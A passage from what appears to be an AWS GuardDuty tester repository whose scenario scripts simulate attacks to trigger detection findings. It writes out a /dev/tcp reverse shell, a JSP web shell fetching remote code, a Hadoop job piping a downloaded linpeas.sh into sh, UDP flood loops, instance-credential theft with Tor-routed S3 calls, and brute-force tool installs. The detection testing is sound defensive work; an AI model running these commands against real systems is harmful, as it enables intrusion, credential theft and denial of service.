http://c2.guarddutyc2activityb.com/' | nc -nlp 4444 &" 2>&1 & 16 | 17 | sleep 10 18 | 19 | echo 20 | echo "Triggering the backdoor run.jsp to create a reverseshell to CnC and execute commands...." 21 | timeout 20s curl http://$IP:8080/run.jsp 22 | 23 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/BucketAnonymousAccessGranted.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | POLICY='{"Version":"2012-10-17","Statement":[{"Sid":"PublicReadGetObject","Effect":"Allow","Principal":"*","Action":["s3:GetObject"],"Resource":["arn:aws:s3:::'$EMPTY_BUCKET_NAME'/*"]}]}' 15 | aws s3api put-bucket-policy --bucket $EMPTY_BUCKET_NAME --policy $POLICY -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/eks/ImpactMaliciousIPCaller-Custom.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | # A UUID is utilized to avoid collision with existing service account names 15 | UUID=$(cat /proc/sys/kernel/random/uuid) 16 | 17 | aws eks --region $REGION update-kubeconfig --name $EKS_CLUSTER_NAME 18 | sudo kubectl create serviceaccount tester-service-account-$UUID 19 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/runtime/ReverseShell.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2025 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | DATE_STRING=$(date +%s) 15 | EXEC_FILENAME="$DATE_STRING-reverseShell" 16 | 17 | cp /bin/bash $EXEC_FILENAME 18 | timeout 30s bash -c "echo 'usermod -U TestUser; exit' | nc -nlp 1337 &" 19 | sleep 1 20 | ./$EXEC_FILENAME -c "./$EXEC_FILENAME -i >& /dev/tcp/127.0.0.1/1337 0>&1" 21 | 22 | rm $EXEC_FILENAME 23 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/eks/DiscoveryMaliciousIPCaller-Custom.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws eks --region $REGION update-kubeconfig --name $EKS_CLUSTER_NAME 15 | sudo kubectl apply -f - < int: 20 | payload = ''.join(random.choice(string.ascii_uppercase) for _ in range(1024)) 21 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 22 | sock.sendto(bytes(payload, "utf-8"), (event['ip'], int(event['port']))) 23 | return 0 -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/java-webshell/files/index.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.net.*, java.io.*" %> 2 | <% 3 | try { 4 | URL url = new URL("http://203.0.113.1:33333/text"); 5 | HttpURLConnection conn = (HttpURLConnection) url.openConnection(); 6 | conn.setRequestMethod("GET"); 7 | 8 | BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); 9 | String line; 10 | StringBuilder content = new StringBuilder(); 11 | while ((line = reader.readLine()) != null) { 12 | content.append(line); 13 | } 14 | reader.close(); 15 | 16 | //out.print(content.toString()); 17 | String webappPath = application.getRealPath("/"); 18 | String jspContent = content.toString(); 19 | 20 | FileWriter writer = new FileWriter(webappPath + "run.jsp"); 21 | writer.write(jspContent); 22 | writer.close(); 23 | 24 | out.print("JSP file 'run.jsp' created successfully.\n"); 25 | } catch (Exception e) { 26 | out.print("Error: " + e.getMessage()); 27 | } 28 | %> 29 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/ec2/DenialOfService-DNS.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | echo "import socket 15 | import random 16 | import string 17 | 18 | dest_ip = '$MALICIOUS_IP' 19 | dest_port = $PORT 20 | payload = ''.join(random.choice(string.ascii_lowercase) for _ in range(64)).encode() 21 | 22 | 23 | for i in range(400000): 24 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 25 | s.bind(('',0)) 26 | s.sendto(payload, (dest_ip, dest_port)) 27 | s.close() 28 | 29 | " > fake_dos.py 30 | 31 | python3 fake_dos.py 32 | rm fake_dos.py -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/eks/AnonymousAccessGranted.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws eks --region $REGION update-kubeconfig --name $EKS_CLUSTER_NAME 15 | kubectl apply -f - < 19 | #include 20 | 21 | int main() 22 | { 23 | if (mount("/etc/", "/tmp/", "tempfs-test", 0, NULL) != 0) perror("mount"); //mount() fails with "No such device", but triggers event required for finding 24 | 25 | return 0; 26 | }' > mountTest.c 27 | 28 | gcc mountTest.c -o $EXEC_FILENAME 29 | 30 | ./$EXEC_FILENAME 31 | rm $EXEC_FILENAME 32 | rm mountTest.c -------------------------------------------------------------------------------- /test/cdk-gd-tester.test.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { App } from 'aws-cdk-lib'; 15 | import { Template } from 'aws-cdk-lib/assertions'; 16 | 17 | import { GuardDutyTesterStack } from '../lib//stacks/tester-stack'; 18 | 19 | test('Check All Test Resources', () => { 20 | const app = new App(); 21 | const stack = new GuardDutyTesterStack(app, 'MyTestStack', { 22 | env: { 23 | account: 'test-account', 24 | region: 'us-west-2', 25 | }, 26 | }); 27 | 28 | const template = Template.fromStack(stack); 29 | expect(template.toJSON()).toMatchSnapshot(); 30 | }); 31 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/java-webshell/attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import inspect 3 | import sys 4 | import os 5 | sys.path.append("/home/ssm-user/py_tester") 6 | sys.path.append("../../") 7 | 8 | import signal 9 | import argparse 10 | import subprocess 11 | import time 12 | from types import FrameType 13 | from typing import Optional 14 | from settings_manager import SettingsManager 15 | 16 | def main(): 17 | settings_module_path = os.path.dirname(inspect.getfile(SettingsManager)) 18 | current_dir = os.getcwd() 19 | os.chdir(settings_module_path) 20 | args = argparse.Namespace() 21 | args.finding = None 22 | args.test_resources = ['ec2', 'ecs-ec2', 'ecs-fargate', 'eks'] 23 | args.runtime = ['only'] 24 | args.tactics = [] 25 | args.log_source = ['runtime-monitoring'] 26 | args.yes = False 27 | 28 | settings = SettingsManager() 29 | print("Configuring AWS account for runtime testing...") 30 | settings.set_test_settings(args) 31 | print("Sleeping for 30 secs...") 32 | time.sleep(30) 33 | 34 | os.chdir(current_dir) 35 | subprocess.run([f'./files/attack.sh']) 36 | print("Waiting for 30 secs...") 37 | time.sleep(30) 38 | settings.reset_settings() 39 | 40 | if __name__ == '__main__': 41 | main() 42 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/php-webshell/attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import inspect 3 | import sys 4 | import os 5 | sys.path.append("/home/ssm-user/py_tester") 6 | sys.path.append("../../") 7 | 8 | import signal 9 | import argparse 10 | import subprocess 11 | import time 12 | from types import FrameType 13 | from typing import Optional 14 | from settings_manager import SettingsManager 15 | 16 | def main(): 17 | settings_module_path = os.path.dirname(inspect.getfile(SettingsManager)) 18 | current_dir = os.getcwd() 19 | os.chdir(settings_module_path) 20 | args = argparse.Namespace() 21 | args.finding = None 22 | args.test_resources = ['ec2', 'ecs-ec2', 'ecs-fargate', 'eks'] 23 | args.runtime = ['only'] 24 | args.tactics = [] 25 | args.log_source = ['runtime-monitoring'] 26 | args.yes = False 27 | 28 | settings = SettingsManager() 29 | print("Configuring AWS account for runtime testing...") 30 | settings.set_test_settings(args) 31 | print("Sleeping for 30 secs...") 32 | time.sleep(30) 33 | 34 | os.chdir(current_dir) 35 | subprocess.run([f'./files/attack.sh']) 36 | print("Waiting for 30 secs...") 37 | time.sleep(30) 38 | settings.reset_settings() 39 | 40 | if __name__ == '__main__': 41 | main() 42 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/hadoop-yarn-job/attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import inspect 3 | import sys 4 | import os 5 | sys.path.append("/home/ssm-user/py_tester") 6 | sys.path.append("../../") 7 | 8 | import signal 9 | import argparse 10 | import subprocess 11 | import time 12 | from types import FrameType 13 | from typing import Optional 14 | from settings_manager import SettingsManager 15 | 16 | def main(): 17 | settings_module_path = os.path.dirname(inspect.getfile(SettingsManager)) 18 | current_dir = os.getcwd() 19 | os.chdir(settings_module_path) 20 | args = argparse.Namespace() 21 | args.finding = None 22 | args.test_resources = ['ec2', 'ecs-ec2', 'ecs-fargate', 'eks'] 23 | args.runtime = ['only'] 24 | args.tactics = [] 25 | args.log_source = ['runtime-monitoring'] 26 | args.yes = False 27 | 28 | settings = SettingsManager() 29 | print("Configuring AWS account for runtime testing...") 30 | settings.set_test_settings(args) 31 | print("Sleeping for 30 secs...") 32 | time.sleep(30) 33 | 34 | os.chdir(current_dir) 35 | subprocess.run([f'./files/run_attack_remotely.sh']) 36 | print("Waiting for 30 secs...") 37 | time.sleep(30) 38 | settings.reset_settings() 39 | 40 | if __name__ == '__main__': 41 | main() 42 | -------------------------------------------------------------------------------- /lib/common/access/iam/ecs-task-role.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Effect, PolicyDocument, PolicyStatement, Role, ServicePrincipal } from 'aws-cdk-lib/aws-iam'; 15 | import { Construct } from 'constructs'; 16 | 17 | export interface EcsTaskRoleProps { 18 | bucketName: string; 19 | } 20 | 21 | /** 22 | * ECS Task role for GuardDuty ECS Runtime findings testing 23 | */ 24 | export class EcsTaskRole extends Construct { 25 | public readonly role: Role; 26 | constructor(scope: Construct, id: string, props: EcsTaskRoleProps) { 27 | super(scope, id); 28 | 29 | this.role = new Role(this, id, { 30 | assumedBy: new ServicePrincipal('ecs-tasks.amazonaws.com'), 31 | }); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/ec2/DenialOfService-UDP.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | EIP=$(aws ec2 describe-addresses \ 15 | --filters "Name=tag:Name,Values=GuardDutyTesterStack/vpc/vpc/public-subnetSubnet1" \ 16 | --query 'Addresses[0].PublicIp' \ 17 | --output text) 18 | 19 | echo "import socket 20 | import random 21 | import string 22 | 23 | dest_ip = '$EIP' 24 | dest_port = $PORT 25 | payload = ''.join(random.choice(string.ascii_lowercase) for _ in range(256)).encode() 26 | 27 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 28 | 29 | for i in range(400000): 30 | s.sendto(payload, (dest_ip, dest_port)) 31 | 32 | s.close() 33 | " > fake_dos.py 34 | 35 | python3 fake_dos.py 36 | rm fake_dos.py -------------------------------------------------------------------------------- /lib/common/access/securityGroup/cluster-security-group.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Peer, Port, SecurityGroup } from 'aws-cdk-lib/aws-ec2'; 15 | import { Construct } from 'constructs'; 16 | 17 | import { type SecGroupProps } from './security-group-props'; 18 | 19 | /** 20 | * ECS Security Group for GuardDuty tester 21 | * Allows tcp traffic from within vpc and icmp from Debian Instance 22 | */ 23 | export class ClusterSecurityGroup extends Construct { 24 | public readonly sg: SecurityGroup; 25 | 26 | constructor(scope: Construct, id: string, props: SecGroupProps) { 27 | super(scope, id); 28 | this.sg = new SecurityGroup(this, id, { 29 | vpc: props.vpc, 30 | allowAllOutbound: true, 31 | }); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/eks/TorIPCaller.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws eks --region $REGION update-kubeconfig --name $EKS_CLUSTER_NAME 15 | sudo kubectl apply -f - < 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | int main(int argc, char* argv[]) { 22 | pid_t child; 23 | long OR_EAX; 24 | child = fork(); 25 | if(child == 0) { 26 | ptrace(PTRACE_TRACEME, 0, NULL, NULL); 27 | execvp("/bin/ls", NULL); 28 | } else { 29 | wait(NULL); 30 | ptrace(PTRACE_PEEKUSER, child, 4 * OR_EAX, NULL); 31 | printf("system call %s from pid %d\n", OR_EAX, child); 32 | ptrace(PTRACE_DETACH, child, NULL, NULL); 33 | } 34 | return 0; 35 | }' > ptrace.c 36 | 37 | gcc ptrace.c -o ptrace -w 38 | ./ptrace 39 | 40 | rm ptrace.c 41 | rm ptrace -------------------------------------------------------------------------------- /lib/common/access/securityGroup/windows-security-group.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Peer, Port, SecurityGroup } from 'aws-cdk-lib/aws-ec2'; 15 | import { Construct } from 'constructs'; 16 | 17 | import { type SecGroupProps } from './security-group-props'; 18 | 19 | /** 20 | * Defines the permissible traffic to and from the Windows Instance 21 | */ 22 | export class WindowsSecurityGroup extends Construct { 23 | public readonly sg: SecurityGroup; 24 | 25 | constructor(scope: Construct, id: string, props: SecGroupProps) { 26 | super(scope, id); 27 | this.sg = new SecurityGroup(this, id, { 28 | vpc: props.vpc, 29 | }); 30 | 31 | // only allow RDP traffic from within VPC 32 | this.sg.addIngressRule(Peer.ipv4(props.vpc.vpcCidrBlock), Port.tcp(3389), 'allow rdp connection from within vpc'); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/iam/ReconTorIPCaller.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | EC2_TOKEN=`curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 15 | ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $EC2_TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME}) 16 | AWS_ACCESS_KEY_ID=$(echo $ROLE | jq .AccessKeyId | xargs) 17 | AWS_SECRET_ACCESS_KEY=$(echo $ROLE | jq .SecretAccessKey | xargs) 18 | AWS_SESSION_TOKEN=$(echo $ROLE | jq .Token | xargs) 19 | 20 | source /home/ssm-user/gd_tester_pyenv/bin/activate 21 | 22 | echo -e 'AUTHENTICATE ""\r\nsignal NEWNYM\r\nQUIT' | nc 127.0.0.1 9051 23 | torify awscurl --access_key=$AWS_ACCESS_KEY_ID --secret_key $AWS_SECRET_ACCESS_KEY --session_token $AWS_SESSION_TOKEN --region $REGION --service s3 https://s3.$REGION.amazonaws.com -------------------------------------------------------------------------------- /lib/common/testResources/driver_tool_install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export homeDir=/home/ssm-user 4 | 5 | pip3 install cmake 6 | cd ${homeDir} 7 | cat << EOF >> users 8 | ec2-user 9 | root 10 | admin 11 | administrator 12 | ftp 13 | www 14 | nobody 15 | EOF 16 | wget -q -O ${homeDir}/libssh.tar.xz https://www.libssh.org/files/0.9/libssh-0.9.4.tar.xz 17 | tar -xvf ${homeDir}/libssh.tar.xz 18 | cd ${homeDir}/libssh-0.9.4 19 | mkdir build 20 | cd build 21 | cmake3 -DUNIT_TESTING=OFF -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Release .. 22 | make && make install 23 | cd ${homeDir} 24 | git clone https://github.com/vanhauser-thc/thc-hydra 25 | cd thc-hydra 26 | ./configure 27 | make && make install 28 | cd ${homeDir} 29 | git clone https://github.com/galkan/crowbar ${homeDir}/crowbar 30 | cd ${homeDir} 31 | curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.27.1/bin/linux/amd64/kubectl 32 | chmod +x ./kubectl 33 | mv ./kubectl /usr/local/bin/kubectl 34 | curl --silent --location https://github.com/weaveworks/eksctl/releases/latest/download/eksctl_Linux_amd64.tar.gz | tar xz -C /tmp 35 | mv /tmp/eksctl /usr/local/bin/ 36 | chown -R ssm-user: ${homeDir} 37 | chmod +x ${homeDir}/crowbar/crowbar.py 38 | ${install} https://s3.amazonaws.com/session-manager-downloads/plugin/latest/linux_64bit/session-manager-plugin.rpm 39 | wget https://secure.eicar.org/eicar.com 40 | wget https://secure.eicar.org/eicar.com.txt 41 | wget https://secure.eicar.org/eicar_com.zip 42 | wget https://secure.eicar.org/eicarcom2.zip -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "cdk-gd-tester", 3 | "version": "2.0.0", 4 | "bin": { 5 | "cdk-gd-tester": "bin/cdk-gd-tester.js" 6 | }, 7 | "scripts": { 8 | "lint": "eslint lib test --ext .ts --fix", 9 | "build": "tsc", 10 | "watch": "tsc -w", 11 | "test": "jest", 12 | "cdk": "cdk" 13 | }, 14 | "devDependencies": { 15 | "@aws-cdk/assets": "^1.204.0", 16 | "@aws-cdk/region-info": "^2.134.0", 17 | "@types/jest": "^29.5.12", 18 | "@types/node": "20.11.30", 19 | "@typescript-eslint/eslint-plugin": "^6.21.0", 20 | "aws-cdk": "2.134.0", 21 | "aws-cdk-lib": "2.134.0", 22 | "constructs": "^10.3.0", 23 | "eslint": "^8.57.1", 24 | "eslint-config-prettier": "^9.1.0", 25 | "eslint-config-standard-with-typescript": "^43.0.1", 26 | "eslint-plugin-import": "^2.29.1", 27 | "eslint-plugin-n": "^16.6.2", 28 | "eslint-plugin-prettier": "^5.1.3", 29 | "eslint-plugin-promise": "^6.1.1", 30 | "eslint-plugin-simple-import-sort": "^12.0.0", 31 | "jest": "^29.7.0", 32 | "prettier": "3.2.5", 33 | "source-map-support": "^0.5.21", 34 | "ts-jest": "^29.1.2", 35 | "ts-node": "^10.9.2", 36 | "typescript": "^5.4.3" 37 | }, 38 | "eslintConfig": { 39 | "overrides": [ 40 | { 41 | "files": [ 42 | "*.ts" 43 | ], 44 | "extends": ".eslintrc.js", 45 | "parserOptions": { 46 | "sourceType": "module", 47 | "ecmaVersion": 2022 48 | } 49 | } 50 | ] 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/eks/ContainerWithSensitiveMount.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws eks --region $REGION update-kubeconfig --name $EKS_CLUSTER_NAME 15 | 16 | IMAGE='GuardDutyTestContainerSensitiveMount' 17 | 18 | kubectl apply -f - < /tmp/log; '"$RANDOM_TMP_DIR/wget"' http://203.0.113.1:33333/linpeas.sh | sh"}}, "application-id": "application_'"$RANDOM_ID"'_1274", "application-type": "YARN", "application-name": "get-shell"}' http://localhost:8088/ws/v1/cluster/apps 10 | 11 | curl http://localhost:8088/ws/v1/cluster/apps 12 | 13 | echo 14 | echo 15 | echo "Sleeping for 5 mins to allow the Hadoop job to complete..." 16 | sleep 300 17 | 18 | sudo -u ubuntu bash << 'EOF' 19 | echo "Shutting down Hadoop services..." 20 | 21 | HADOOP_HOME=/usr/local/hadoop-3.3.6 22 | 23 | $HADOOP_HOME/sbin/stop-dfs.sh 24 | 25 | $HADOOP_HOME/sbin/stop-yarn.sh 26 | 27 | $HADOOP_HOME/sbin/mr-jobhistory-daemon.sh stop historyserver 28 | 29 | sudo rm -rf $HADOOP_HOME 30 | 31 | echo "Removing IPTables NAT rules..." 32 | sudo iptables -t nat -D OUTPUT -d 203.0.113.1 -p tcp --dport 33333 -j DNAT --to-destination 127.0.0.1:8081 33 | sudo iptables -t nat -D OUTPUT -d 203.0.113.1 -p tcp --dport 4444 -j DNAT --to-destination 127.0.0.1:4444 34 | EOF 35 | -------------------------------------------------------------------------------- /lib/common/storage/s3/empty-bucket.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { RemovalPolicy } from 'aws-cdk-lib'; 15 | import { BlockPublicAccess, Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3'; 16 | import { Construct } from 'constructs'; 17 | 18 | /** 19 | * EmptyBucket class defines an S3 bucket for GuardDuty tester 20 | * The bucket is used for S3 protection tests regarding policies 21 | */ 22 | export class EmptyBucket extends Construct { 23 | public readonly bucketName: string; 24 | constructor(scope: Construct, id: string) { 25 | super(scope, id); 26 | 27 | const bucket = new Bucket(this, id, { 28 | blockPublicAccess: BlockPublicAccess.BLOCK_ALL, 29 | encryption: BucketEncryption.S3_MANAGED, 30 | enforceSSL: true, 31 | versioned: false, 32 | removalPolicy: RemovalPolicy.DESTROY, 33 | autoDeleteObjects: false, 34 | }); 35 | 36 | this.bucketName = bucket.bucketName; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/eks/SuccessfulAnonymousAccess.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws eks --region $REGION update-kubeconfig --name $EKS_CLUSTER_NAME 15 | 16 | kubectl apply -f - < /dev/null -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/DiscoveryTorIPCaller.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | EC2_TOKEN=`curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 15 | ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $EC2_TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME}) 16 | AWS_ACCESS_KEY_ID=$(echo $ROLE | jq .AccessKeyId | xargs) 17 | AWS_SECRET_ACCESS_KEY=$(echo $ROLE | jq .SecretAccessKey | xargs) 18 | AWS_SESSION_TOKEN=$(echo $ROLE | jq .Token | xargs) 19 | 20 | if [ $REGION = "us-east-1" ]; then 21 | URL="https://$S3_BUCKET_NAME.s3.amazonaws.com" 22 | else 23 | URL="https://$S3_BUCKET_NAME.s3.$REGION.amazonaws.com" 24 | fi 25 | 26 | source /home/ssm-user/gd_tester_pyenv/bin/activate 27 | 28 | echo -e 'AUTHENTICATE 